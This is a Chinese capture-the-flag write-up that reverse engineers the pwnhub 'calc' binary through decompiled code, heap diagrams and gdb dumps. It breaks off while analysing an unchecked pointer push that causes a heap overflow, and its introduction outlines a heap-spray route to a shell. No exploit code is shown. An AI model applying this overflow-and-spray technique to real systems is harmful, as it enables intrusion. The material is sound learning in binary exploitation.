Pwnhub 故事的开始 calc
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/19/calc/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Pwnhub 故事的开始 calc
发表于 2020-05-19
| 分类于 CTF/Pwn
漏洞点为一个整数溢出和一个堆溢出,其中整数溢出可以转化为另一个堆溢出。本题利用方法为利用原生的堆溢出漏洞,可以覆盖一个存在间接跳转的二级指针,因为没有开启NX,所以结合堆喷即可getshell。虽然堆喷解法的exp很简单,但本题的逆向却是是很耗时的。
- 题目文件:calc
本题来自pwnhub的2016年的一次比赛,看起来好像是第一场比赛:题目列表 / Calculator(需要pwnhub账户),参考冠成师傅的Writeup:pwnhub.cn 故事的开始 calc Writeup
➜ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=454ff27c25ea5028bffdcfaf81e1c178d5cbce3a, stripped
➜ checksec calc
[*] '/Users/Desktop/pwn/pwnhub/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
32位程序,除了canary剩下的保护全没开。大概运行一下知道是个计算器
➜ ./calc
> 1 + 1
2
> 2 - 3
-1
> -1 + 3
invalid number
expected 2 arguments, got 1
这个逆向工作是我遇到Pwn题里最大的了,而且主要是因为算法看不懂,还没有符号表,所以特此记录下逆向的思考过程:
就这玩意,那天我看了仨小时,终于看明白了。上次比赛在mcfx的提示下跟那个恶心的虚拟机代码相了一会面,真是,逆向这个玩意需要一个字静。没人打扰,然后泡一杯茶或者咖啡,三四个小时后,一般会有顿悟。
首先是main函数
void __cdecl __noreturn main()
{
int v0; // eax
int v1; // eax
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int v10; // eax
char *v11; // [esp+8h] [ebp-110h]
char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
unsigned int v13; // [esp+10Ch] [ebp-Ch]
v13 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
dword_804D0B0 = sub_804A929();
dword_804D0B4 = sub_804A8E9();
dword_804D0AC = sub_804A8E9();
v0 = sub_804A83F("add", (int)sub_80494AA);
sub_804A946(dword_804D0B0, "add", v0);
v1 = sub_804A83F("sub", (int)sub_8049C81);
sub_804A946(dword_804D0B0, "sub", v1);
v2 = sub_804A83F("mul", (int)sub_8049A0E);
sub_804A946(dword_804D0B0, "mul", v2);
v3 = sub_804A83F("div", (int)sub_8049DED);
sub_804A946(dword_804D0B0, "div", v3);
v4 = sub_804A83F("mod", (int)sub_8049F90);
sub_804A946(dword_804D0B0, "mod", v4);
v5 = sub_804A83F("not", (int)sub_804A135);
sub_804A946(dword_804D0B0, "not", v5);
v6 = sub_804A83F("int", (int)sub_8049854);
sub_804A946(dword_804D0B0, "int", v6);
v7 = sub_804A83F("exit", (int)sub_804A688);
sub_804A946(dword_804D0B0, "exit", v7);
v8 = sub_804A83F("equals", (int)sub_804A3C2);
sub_804A946(dword_804D0B0, "equals", v8);
v9 = sub_804A83F("type", (int)sub_804A61E);
sub_804A946(dword_804D0B0, "type", v9);
v10 = sub_804A83F("len", (int)sub_804A308);
sub_804A946(dword_804D0B0, "len", v10);
while ( 1 )
{
memset(s, 0, sizeof(s));
printf("> ");
if ( !fgets(s, 256, stdin) )
break;
v11 = strrchr(s, 10);
if ( v11 )
*v11 = 0;
sub_8048BC1(s);
}
exit(0);
}
首先dword_804D0B0、dword_804D0B4、dword_804D0AC
是三个全局变量,赋值的三个函数分别是在堆上申请0x10,0x84,0x84大小的堆空间的地址,并初始化为0。
运算符定义
然后是重复的这种代码:
v0 = sub_804A83F("add", (int)sub_80494AA);
sub_804A946(dword_804D0B0, "add", v0);
其中sub_804A83F
就是创造了一个结构体,结构体中包括了:
- add这个字符串的地址
- function字符串的地址
- 还有第二个参数
sub_80494AA
这个函数的地址,大概看了这个函数,估计就是加法的实现
故sub_804A83F
这个函数看起来就是将add字符串和加法处理函数绑定为一个结构体。
然后就是sub_804A946
,参数是第一个保存着一个0x10大小堆块地址的全局变量,add字符串,以及刚才创造出来的结构体,函数较复杂,接下来详细分析。
然是很重要的:处理输入的部分:
while ( 1 )
{
memset(s, 0, sizeof(s));
printf("> ");
if ( !fgets(s, 256, stdin) )
break;
v11 = strrchr(s, 10);
if ( v11 )
*v11 = 0;
sub_8048BC1(s);
}
The fgets() function reads at most one less than the number of characters specified by size from the given stream and stores them in the string str.
可以看到在man命令中的描述fgets是会接收一个size-1长度的输入,本题的缓冲区在栈上也是256字节,所以不会存在0字节溢出。接收完输入就送到sub_8048BC1
函数中去处理了,故看起来sub_8048BC1
就是最后的处理函数。
sub_804A946
然后我们来看一下在运算符定义那个函数:sub_804A946
:
第一次进入
首先以add定义为例,传入该函数的参数分别是:
- dword_804D0B0
- “add”
sub_804A83F
创造出的结构体
这个函数如下,如果想看干净一点的可以把IDA给出的注释隐藏起来,右键hist casts即可。
int __cdecl sub_804A946(int a1, char *s, int a3)
{
int result; // eax
size_t i; // [esp+4h] [ebp-14h]
int v5; // [esp+8h] [ebp-10h]
signed int v6; // [esp+Ch] [ebp-Ch]
if ( !*(_DWORD *)a1 )
{
*(_DWORD *)a1 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)a1 + 8) = *s;
}
v5 = *(_DWORD *)a1;
v6 = strlen(s);
for ( i = 0; (int)i <= v6; ++i )
{
while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
v5 = *(_DWORD *)(v5 + 4);
if ( *(_BYTE *)(v5 + 8) != s[i] )
{
*(_DWORD *)(v5 + 4) = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)(v5 + 4) + 8) = s[i];
v5 = *(_DWORD *)(v5 + 4);
while ( strlen(s) > i )
{
*(_DWORD *)v5 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)v5 + 8) = s[++i];
v5 = *(_DWORD *)v5;
}
break;
}
if ( !s[i] )
break;
if ( !*(_DWORD *)v5 )
{
*(_DWORD *)v5 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)v5 + 8) = s[i + 1];
}
v5 = *(_DWORD *)v5;
}
result = v5;
*(_DWORD *)(v5 + 12) = a3;
return result;
}
不过无论因不隐藏注释,这个函数的确是有点恐怖,一堆没名字的变量,然后还有一堆星。不过不要害怕,静下来,一行一行看就是了:
if ( !*(_DWORD *)a1 )
{
*(_DWORD *)a1 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)a1 + 8) = *s;
}
- 首先检查
*a1
是否有内容,a1
是dword_804D0B0,即a1保存了一个堆上申请大小为0x10的空间的地址,但*a1
是这个0x10的堆空间,显然这个堆内存是刚刚申请的并没有被使用,所以会进入到这个if判断中。 - 然后会在申请一个大小为0x10的堆空间,并且把新申请的地址放到*a1这个堆空间的前四个字节处
- 第三句去了注释为:
*(*a1 + 8) = *s;
,可以看到去掉注释是丢了信息:(_BYTE *)
,这个意思是之赋值一个字节,所以还是要留意IDA给出的注释的 *(*a1 + 8) = *s;
的意思是,将第二个参数的"add"
的第一个字节,也是第一个字符'a'
,放到新申请的堆块的第9个字节上。(很奇怪的操作)
当前的数据结构大致如下:
bss heap heap
+---------------+ +---------------+ +---------------+
| &chunk1 | +-------------> | &chunk2 | +-------------> | |
+---------------+ +---------------+ +---------------+
dword_804D0B0 | | | |
+---------------+ +---------------+
| | | 'a' |
+---------------+ +---------------+
| | | |
+---------------+ +---------------+
chunk1 chunk2
v5 = *(_DWORD *)a1;
v6 = strlen(s);
然后将新申请的堆块(chunk2)的地址,赋值给v5,"add"
字符串的长度3,赋值给v6,然后进入以v6为判断条件的for循环,进入后紧接着是一个while循环:
while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
v5 = *(_DWORD *)(v5 + 4);
*(v5+4)
就是chunk2的第2个slot为空,所以不会进入这个循环,继续往下:
if ( *(_BYTE *)(v5 + 8) != s[i] )
当前i为0,*(v5 + 8)
是'a'
,s[0]
也是'a'
,故也不会进入这个if分支:
if ( !s[i] )
s[0]
是'a'
,非空,故也不仅进入这个分支,继续
if ( !*(_DWORD *)v5 )
{
*(_DWORD *)v5 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)v5 + 8) = s[i + 1];
}
v5 = *(_DWORD *)v5;
*v5
是chunk2中的第一个元素,为空,故进入这个分支,发现又会申请一个0x10的chunk3,然后把chunk3的地址放到chunk2的第一个元素上,并且把”add”的第2个字符'd'
,放入chunk3的第9个字节处。然后更新v5为chunk3的地址继续循环,此时数据结构为:
bss heap heap heap
+---------------+ +---------------+ +---------------+ +---------------+
| &chunk1 | +-------------> | &chunk2 | +-------------> | &chunk3 | +-------------> | |
+---------------+ +---------------+ +---------------+ +---------------+
dword_804D0B0 | | | | | |
+---------------+ +---------------+ +---------------+
| | | 'a' | | 'd' |
+---------------+ +---------------+ +---------------+
| | | | | |
+---------------+ +---------------+ +---------------+
chunk1 chunk2 chunk3
for循环i的变化为0-3,当i=1时:
bss heap heap heap heap
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
| &chunk1 | +-------------> | &chunk2 | +-------------> | &chunk3 | +-------------> | &chunk4 | +-------------> | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
dword_804D0B0 | | | | | | | |
+---------------+ +---------------+ +---------------+ +---------------+
| | | 'a' | | 'd' | | 'd' |
+---------------+ +---------------+ +---------------+ +---------------+
| | | | | | | |
+---------------+ +---------------+ +---------------+ +---------------+
chunk1 chunk2 chunk3 chunk4
当i=2时:
bss heap heap heap heap heap
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+
| &chunk1 | +-------------> | &chunk2 | +-------------> | &chunk3 | +-------------> | &chunk4 | +-------------> | &chunk5 | +-------------> | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+
dword_804D0B0 | | | | | | | | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
| | | 'a' | | 'd' | | 'd' | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
| | | | | | | | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
chunk1 chunk2 chunk3 chunk4 chunk5
当i=3时,s[3]
为空,会进入break分支终止循环:
if ( !s[i] )
break;
最后会执行:
result = v5;
*(_DWORD *)(v5 + 12) = a3;
return result;
将最后一个chunk的最后四个字节写为a3的值,a3就是sub_804A83F
函数创造出的结构体的地址,然后返回指向最后一个chunk的指针,最后的结构体如下:
heap
+---------------+
| &"add" | <---------------------------------------------------------------------------------------------------------------------------------------------------+
+---------------+ |
| &"function" | |
+---------------+ |
| sub_80494AA | |
+---------------+ |
| | |
+---------------+ |
|
chunk0 |
|
|
bss heap heap heap heap heap |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+ |
| &chunk1 | +-------------> | &chunk2 | +-------------> | &chunk3 | +-------------> | &chunk4 | +-------------> | &chunk5 | +-------------> | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+ |
dword_804D0B0 | | | | | | | | | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ |
| | | 'a' | | 'd' | | 'd' | | | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ |
| | | | | | | | | &chunk0 +-------------+
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
chunk1 chunk2 chunk3 chunk4 chunk5
我们可以在gdb中看一下当程序初始化后,堆的状态是否和我给出的一致:
➜ gdb -q ./calc
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./calc...(no debugging symbols found)...done.
gef➤ r
Starting program: /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
> ^C
gef➤ heap chunks
Chunk(addr=0x804e008, size=0x18, flags=PREV_INUSE)
[0x0804e008 58 e1 04 08 00 00 00 00 00 00 00 00 00 00 00 00 X...............]
Chunk(addr=0x804e020, size=0x88, flags=PREV_INUSE)
[0x0804e020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x804e0a8, size=0x88, flags=PREV_INUSE)
[0x0804e0a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x804e130, size=0x18, flags=PREV_INUSE)
[0x0804e130 48 e1 04 08 99 ae 04 08 aa 94 04 08 00 00 00 00 H...............]
Chunk(addr=0x804e148, size=0x10, flags=PREV_INUSE)
[0x0804e148 61 64 64 00 00 00 00 00 00 00 00 00 19 00 00 00 add.............]
Chunk(addr=0x804e158, size=0x18, flags=PREV_INUSE)
[0x0804e158 70 e1 04 08 e0 e1 04 08 61 00 00 00 00 00 00 00 p.......a.......]
Chunk(addr=0x804e170, size=0x18, flags=PREV_INUSE)
[0x0804e170 88 e1 04 08 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......]
Chunk(addr=0x804e188, size=0x18, flags=PREV_INUSE)
[0x0804e188 a0 e1 04 08 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......]
Chunk(addr=0x804e1a0, size=0x18, flags=PREV_INUSE)
[0x0804e1a0 00 00 00 00 00 00 00 00 00 00 00 00 30 e1 04 08 ............0...]
完美对应:
chunk1: 0x804e008
chunk2: 0x804e158
chunk3: 0x804e170
chunk4: 0x804e188
chunk5: 0x804e1a0
chunk0: 0x804e130
第二次进入
可以看到第一次我们是有两个分支没有进入的,我们看一下当我们第二次进入这个函数时会发生怎样的效果呢?有了第一次的分析,第二次则会容易的多,我们来看看main函数初始化sub运算时:
v1 = sub_804A83F("sub", (int)sub_8049C81);
sub_804A946(dword_804D0B0, "sub", v1);
进入sub_804A946这个函数时的情景吧:
if ( !*(_DWORD *)a1 )
首先仍然会判断第一个参数dword_804D0B0,不过因为数据结构还是如上图的状态,dword_804D0B0指向chunk1,chunk1的第一个元素是指向chunk2的指针,非空,所以不会进入这个分支,继续:
v5 = *(_DWORD *)a1;
v6 = strlen(s);
然后将chunk2的地址赋值给v5,”sub”的长度3,赋值给v6,然后进入循环,进入后还是先看while:
while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
v5 = *(_DWORD *)(v5 + 4);
chunk2的第二个元素仍然是空,所以仍然不进入这个循环,继续:
if ( *(_BYTE *)(v5 + 8) != s[i] )
当前v5是指向chunk2的,所以chunk2的第3个元素是'a'
,而s[0]
是's'
,二者不相等,故进入该分支。
*(_DWORD *)(v5 + 4) = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)(v5 + 4) + 8) = s[i];
v5 = *(_DWORD *)(v5 + 4);
然后又是申请0x10的堆空间,然后将新堆块的地址放到chunk2的第2个元素上,然后将s[0]
即’s’写到新堆块的第三个元素上,然后将v5更新为指向新堆块的指针
while ( strlen(s) > i )
{
*(_DWORD *)v5 = calloc(0x10u, 1u);
*(_BYTE *)(*(_DWORD *)v5 + 8) = s[++i];
v5 = *(_DWORD *)v5;
}
break;
然后不断的申请堆块,填写”sub”的后两个字符,到新的堆块中,最后退出整个大循环,继续:
result = v5;
*(_DWORD *)(v5 + 12) = a3;
return result;
将最开始的一个结构体链接到最后一个堆块上,并返回最后一个堆块的地址,完成第二次进入后数据结构如下:
bss heap heap heap heap heap heap
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+
| &chunk1 | +-------------> | &chunk2 | +-------------> | &chunk3 | +-------------> | &chunk4 | +-------------> | &chunk5 | +-------------> | | +------> | &"add" |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
dword_804D0B0 | | +------+ | &chunk6 | | | | | | | | | &"function" |
+---------------+ | +---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
| | | | 'a' | | 'd' | | 'd' | | | | | sub_80494AA |
+---------------+ | +---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
| | | | | | | | | | &chunk_add | +-----+ | |
+---------------+ | +---------------+ +---------------+ +---------------+ +---------------+ +---------------+
|
chunk1 | chunk2 chunk3 chunk4 chunk5 chunk_add
|
|
|
| heap heap heap heap heap
| +---------------+ +---------------+ +---------------+ +---------------+ +---------------+
+------> | &chunk7 | +-------------> | &chunk8 | +-------------> | &chunk9 | +-------------> | | +------> | &"sub" |
+---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
| | | | | | | | | | &"function" |
+---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
| 's' | | 'u' | | 'b' | | | | | sub_8049C81 |
+---------------+ +---------------+ +---------------+ +---------------+ | +---------------+
| | | | | | | &chunk_sub | +-----+ | |
+---------------+ +---------------+ +---------------+ +---------------+ +---------------+
chunk6 chunk7 chunk8 chunk9 chunk_sub
所以分析到这大概也猜出来了,这就是根据我们输入来找处理函数的实现。而且也能看出来我们前两次都没有进去的循环:
while ( *(_DWORD *)(v5 + 4) && *(_BYTE *)(v5 + 8) != s[i] )
v5 = *(_DWORD *)(v5 + 4);
就是寻找到下一个可以在插入链表的地方,而且可以看到后面的那个判断,说明字母是可以重用的,比如”mod”和”mul”,的字母m,应该用的就是一个相同的m节点。
我们再来审视一下这个函数的全貌(隐藏了IDA的注释),是不是没有那么吓人了呢?
int __cdecl sub_804A946(int a1, char *s, int a3)
{
int result; // eax
size_t i; // [esp+4h] [ebp-14h]
int v5; // [esp+8h] [ebp-10h]
signed int v6; // [esp+Ch] [ebp-Ch]
if ( !*a1 )
{
*a1 = calloc(0x10u, 1u);
*(*a1 + 8) = *s;
}
v5 = *a1;
v6 = strlen(s);
for ( i = 0; i <= v6; ++i )
{
while ( *(v5 + 4) && *(v5 + 8) != s[i] )
v5 = *(v5 + 4);
if ( *(v5 + 8) != s[i] )
{
*(v5 + 4) = calloc(0x10u, 1u);
*(*(v5 + 4) + 8) = s[i];
v5 = *(v5 + 4);
while ( strlen(s) > i )
{
*v5 = calloc(0x10u, 1u);
*(*v5 + 8) = s[++i];
v5 = *v5;
}
break;
}
if ( !s[i] )
break;
if ( !*v5 )
{
*v5 = calloc(0x10u, 1u);
*(*v5 + 8) = s[i + 1];
}
v5 = *v5;
}
result = v5;
*(v5 + 12) = a3;
return result;
}
总结一下这个函数的主要功能就是,将dword_804D0B0
这个全局变量作为一个入口,创造出一个关于运算符与运算函数绑定的纵横交错的链表,想想这不就是二叉树么?
sub_8048BC1
经过了上一个函数的洗礼,继续看这个对我们最终输入的处理函数,应该就不难了,虽然长,当时没有那么多的指针操作,基本都是逻辑上的处理,以及函数的调用:
int __cdecl sub_8048BC1(char *s)
{
int v1; // eax
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int result; // eax
const char *v9; // eax
char *s1; // [esp+0h] [ebp-48h]
char *s1a; // [esp+0h] [ebp-48h]
int v12; // [esp+4h] [ebp-44h]
char *v13; // [esp+8h] [ebp-40h]
int v14; // [esp+Ch] [ebp-3Ch]
int v15; // [esp+10h] [ebp-38h]
int v16; // [esp+14h] [ebp-34h]
int v17; // [esp+18h] [ebp-30h]
int v18; // [esp+1Ch] [ebp-2Ch]
int v19; // [esp+20h] [ebp-28h]
int v20; // [esp+24h] [ebp-24h]
char *v21; // [esp+28h] [ebp-20h]
char *v22; // [esp+2Ch] [ebp-1Ch]
char *nptr; // [esp+30h] [ebp-18h]
char *nptra; // [esp+30h] [ebp-18h]
char *v25; // [esp+34h] [ebp-14h]
int v26; // [esp+38h] [ebp-10h]
int v27; // [esp+3Ch] [ebp-Ch]
s1 = strtok(s, " ");
while ( s1 )
{
if ( ((*__ctype_b_loc())[*s1] & 0x800) != 0 || *s1 == 45 && strlen(s1) > 1 )
{
if ( sub_804886B(s1) )
{
v12 = sub_804A6F8((char *)byte_804AC65, s1);
sub_804A8B5(dword_804D0B4, v12);
}
else
{
puts("invalid number");
}
goto LABEL_61;
}
if ( *s1 == 34 )
{
s1a = s1 + 1;
v13 = strchr(s1a, 34);
if ( v13 )
{
*v13 = 0;
v1 = sub_804A764((char *)byte_804AC65, s1a);
sub_804A8B5(dword_804D0B4, v1);
}
else
{
printf("EOL while scanning string literal %s\n", s1a - 1);
}
goto LABEL_61;
}
if ( !strcmp(s1, "var") )
{
v21 = strtok(0, " ");
v22 = strtok(0, " ");
if ( !v22 )
break;
if ( *v22 == 61 )
{
nptr = strtok(0, " ");
if ( !nptr )
{
puts("invalid syntax");
break;
}
if ( *nptr == 34 )
{
nptra = nptr + 1;
v25 = strchr(nptra, 34);
if ( v25 )
{
*v25 = 0;
v2 = sub_804A764(v21, nptra);
sub_804A946(dword_804D0B0, v21, v2);
}
}
else if ( !strcmp(nptr, "False") )
{
v3 = sub_804A7CC(v21, nptr);
sub_804A946(dword_804D0B0, v21, v3);
}
else
{
if ( !strcmp(nptr, "True") )
v4 = sub_804A7CC(v21, nptr);
else
v4 = sub_804A6F8(v21, nptr);
sub_804A946(dword_804D0B0, v21, v4);
}
}
else
{
v5 = sub_804A6F8(v21, "0");
sub_804A946(dword_804D0B0, v21, v5);
}
LABEL_61:
s1 = strtok(0, " ");
}
else if ( !strcmp(s1, "True") )
{
v6 = sub_804A7CC((char *)byte_804AC65, "True");
sub_804A8B5(dword_804D0B4, v6);
s1 = strtok(0, " ");
}
else
{
if ( strcmp(s1, "False") )
{
if ( !strcmp(s1, "+") )
{
v14 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "add") + 12);
if ( !strcmp(*(const char **)(v14 + 4), "function") )
sub_804A8B5(dword_804D0AC, v14);
else
sub_804A8B5(dword_804D0B4, v14);
}
else if ( !strcmp(s1, "-") )
{
v15 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "sub") + 12);
if ( !strcmp(*(const char **)(v15 + 4), "function") )
sub_804A8B5(dword_804D0AC, v15);
else
sub_804A8B5(dword_804D0B4, v15);
}
else if ( !strcmp(s1, "*") )
{
v16 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "mul") + 12);
if ( !strcmp(*(const char **)(v16 + 4), "function") )
sub_804A8B5(dword_804D0AC, v16);
else
sub_804A8B5(dword_804D0B4, v16);
}
else if ( !strcmp(s1, "/") )
{
v17 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "div") + 12);
if ( !strcmp(*(const char **)(v17 + 4), "function") )
sub_804A8B5(dword_804D0AC, v17);
else
sub_804A8B5(dword_804D0B4, v17);
}
else if ( !strcmp(s1, "%") )
{
v18 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "mod") + 12);
if ( !strcmp(*(const char **)(v18 + 4), "function") )
sub_804A8B5(dword_804D0AC, v18);
else
sub_804A8B5(dword_804D0B4, v18);
}
else if ( !strcmp(s1, "==") )
{
v19 = *(_DWORD *)(sub_804AADE(dword_804D0B0, "equals") + 12);
if ( !strcmp(*(const char **)(v19 + 4), "function") )
sub_804A8B5(dword_804D0AC, v19);
else
sub_804A8B5(dword_804D0B4, v19);
}
else if ( sub_804AADE(dword_804D0B0, s1) )
{
v20 = *(_DWORD *)(sub_804AADE(dword_804D0B0, s1) + 12);
if ( !strcmp(*(const char **)(v20 + 4), "function") )
sub_804A8B5(dword_804D0AC, v20);
else
sub_804A8B5(dword_804D0B4, v20);
}
else
{
printf("name '%s' is not defined \n", s1);
}
goto LABEL_61;
}
v7 = sub_804A7CC((char *)byte_804AC65, "False");
sub_804A8B5(dword_804D0B4, v7);
s1 = strtok(0, " ");
}
}
while ( !sub_804A8D7(dword_804D0AC) )
{
v26 = sub_804A88E(dword_804D0AC);
(*(void (**)(void))(v26 + 8))();
}
result = sub_804A8D7(dword_804D0B4);
if ( !result )
{
v27 = sub_804A88E(dword_804D0B4);
if ( !strcmp(*(const char **)(v27 + 4), "int") )
{
result = printf("%d\n", *(_DWORD *)(v27 + 8));
}
else if ( !strcmp(*(const char **)(v27 + 4), "str") )
{
result = puts(*(const char **)(v27 + 8));
}
else
{
result = strcmp(*(const char **)(v27 + 4), "bool");
if ( !result )
{
if ( *(_DWORD *)(v27 + 8) == 1 )
v9 = "True";
else
v9 = "False";
result = puts(v9);
}
}
}
return result;
}
如果在IDA中看着不舒服可以复制到vscode中将代码块收起,可以看出整个函数大致分为三个部分:
while ( s1 )
while ( !sub_804A8D7(dword_804D0AC) )
if ( !result )
分析完大概清楚了以上三个部分的功能:
- 第一个部分就会对我们的输入进行解析,根据空格,每个运算符和运算数都会被封装为一个结构体,另外两个全局变量
dword_804D0B4、dword_804D0AC
就是用来保存的运算符与运算数的结构体的指针,支持除了”+-*/”这种符号以外,还支持”sub add mul mod”等英文运算符,以及var定义变量 - 根据两个全局变量存放的运算符和运算数进行运算,调用运算符结构体中的第三个元素,即在main函数注册的函数,运算后的结果保存到最后剩下的一个运算数中
- 最后根据类型返回运算数中最后的一个元素
不过这里有两个地方值得提一下strtok
和__ctype_b_loc
strtok
这个函数就是按照给定字符划分字符串,不过这个函数是可以保存上下文的,每次调用返回一个字符串,除第一次调用需要传入原始字符串,之后只需要传入NULL即可获取下一个被分隔的字符串:
# include <string.h>
# include <stdio.h>
int main(){
char s[]= "hello world I am xuanxuan";
printf("%s\n",strtok(s," "));
printf("%s\n",strtok(NULL," "));
printf("%s\n",strtok(NULL," "));
printf("%s\n",strtok(NULL," "));
printf("%s\n",strtok(NULL," "));
}
hello
world
I
am
xuanxuan
所以看到上述函数中的go LABEL_61
:
LABEL_61:
s1 = strtok(0, " ");
其实就是继续按空格拆分字符串
__ctype_b_loc
另外在这函数中上来有这么一个表达式:
((*__ctype_b_loc())[*s1] & 0x800) != 0
其实就是一个判断字符的函数的宏定义的展开,如下源码:
# include <stdio.h>
# include <ctype.h>
char s = 'a';
int main(){
printf("isalnum %d\n",isalnum(s));
printf("isalpha %d\n",isalpha(s));
printf("iscntrl %d\n",iscntrl(s));
printf("isdigit %d\n",isdigit(s));
printf("isgraph %d\n",isgraph(s));
printf("islower %d\n",islower(s));
printf("isprint %d\n",isprint(s));
printf("ispunct %d\n",ispunct(s));
printf("isspace %d\n",isspace(s));
printf("isupper %d\n",isupper(s));
printf("isxdigit %d\n",isxdigit(s));
printf("isblank %d\n",isblank(s));
}
在linux上编译后的ELF文件通过IDA解析后如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const unsigned __int16 **v3; // rax
const unsigned __int16 **v4; // rax
const unsigned __int16 **v5; // rax
const unsigned __int16 **v6; // rax
const unsigned __int16 **v7; // rax
const unsigned __int16 **v8; // rax
const unsigned __int16 **v9; // rax
const unsigned __int16 **v10; // rax
const unsigned __int16 **v11; // rax
const unsigned __int16 **v12; // rax
const unsigned __int16 **v13; // rax
const unsigned __int16 **v14; // rax
v3 = __ctype_b_loc();
printf("isalnum %d\n", (*v3)[s] & 8);
v4 = __ctype_b_loc();
printf("isalpha %d\n", (*v4)[s] & 0x400);
v5 = __ctype_b_loc();
printf("iscntrl %d\n", (*v5)[s] & 2);
v6 = __ctype_b_loc();
printf("isdigit %d\n", (*v6)[s] & 0x800);
v7 = __ctype_b_loc();
printf("isgraph %d\n", (*v7)[s] & 0x8000);
v8 = __ctype_b_loc();
printf("islower %d\n", (*v8)[s] & 0x200);
v9 = __ctype_b_loc();
printf("isprint %d\n", (*v9)[s] & 0x4000);
v10 = __ctype_b_loc();
printf("ispunct %d\n", (*v10)[s] & 4);
v11 = __ctype_b_loc();
printf("isspace %d\n", (*v11)[s] & 0x2000);
v12 = __ctype_b_loc();
printf("isupper %d\n", (*v12)[s] & 0x100);
v13 = __ctype_b_loc();
printf("isxdigit %d\n", (*v13)[s] & 0x1000);
v14 = __ctype_b_loc();
printf("isblank %d\n", (*v14)[s] & 1);
return 0;
}
所以本题的(*__ctype_b_loc())[*s1] & 0x800
其实就是isdigit(s1)
,判断一下拆分出来的字符是不是数字的字符。故整理表格如下,可以看出要注意flag存储是小端两个字节:
function flag source comment isblank 0x0001 _ISblank = _ISbit(8) Blank (usually SPC and TAB) iscntrl 0x0002 _IScntrl = _ISbit(9) Control character ispunct 0x0004 _ISpunct = _ISbit(10) Punctuation isalnum 0x0008 _ISalnum = _ISbit(11) Alphanumeric isupper 0x0100 _ISupper = _ISbit(0) UPPERCASE islower 0x0200 _ISlower = _ISbit(1) lowercase isalpha 0x0400 _ISalpha = _ISbit(2) Alphabetic isdigit 0x0800 _ISdigit = _ISbit(3) Numeric isxdigit 0x1000 _ISxdigit = _ISbit(4) Hexadecimal numeric isspace 0x2000 _ISspace = _ISbit(5) Whitespace isprint 0x4000 _ISprint = _ISbit(6) Printing isgraph 0x8000 _ISgraph = _ISbit(7) Graphical
漏洞:堆溢出
本题有两个漏洞点,这里只分析堆溢出,整数溢出的漏洞参考冠成师傅的Writeup
在main函数中的输入逻辑:
while ( 1 )
{
memset(s, 0, sizeof(s));
printf("> ");
if ( !fgets(s, 256, stdin) )
break;
v11 = strrchr(s, 10);
if ( v11 )
*v11 = 0;
sub_8048BC1(s);
}
可以看到这里我们可以输入255个字符,然后输入的表达式会被解析,运算数与运算符会被封装成结构体,并把每个结构体的的地址保存到两个大小为0x84的堆空间中,在32位系统中,申请0x84大小的堆块的真正可用空间大小是0x84,按照每个地址占用4个字节计算,两个堆块分别能保存33(0x84/4)个结构体指针。不过我们可以发现在sub_8048BC1函数中保存结构体指针时,调用了sub_804A8B5
这个函数:
_DWORD *__cdecl sub_804A8B5(_DWORD *a1, int a2)
{
_DWORD *result; // eax
++*a1;
result = a1;
a1[*a1 + 1] = a2;
return result;
}
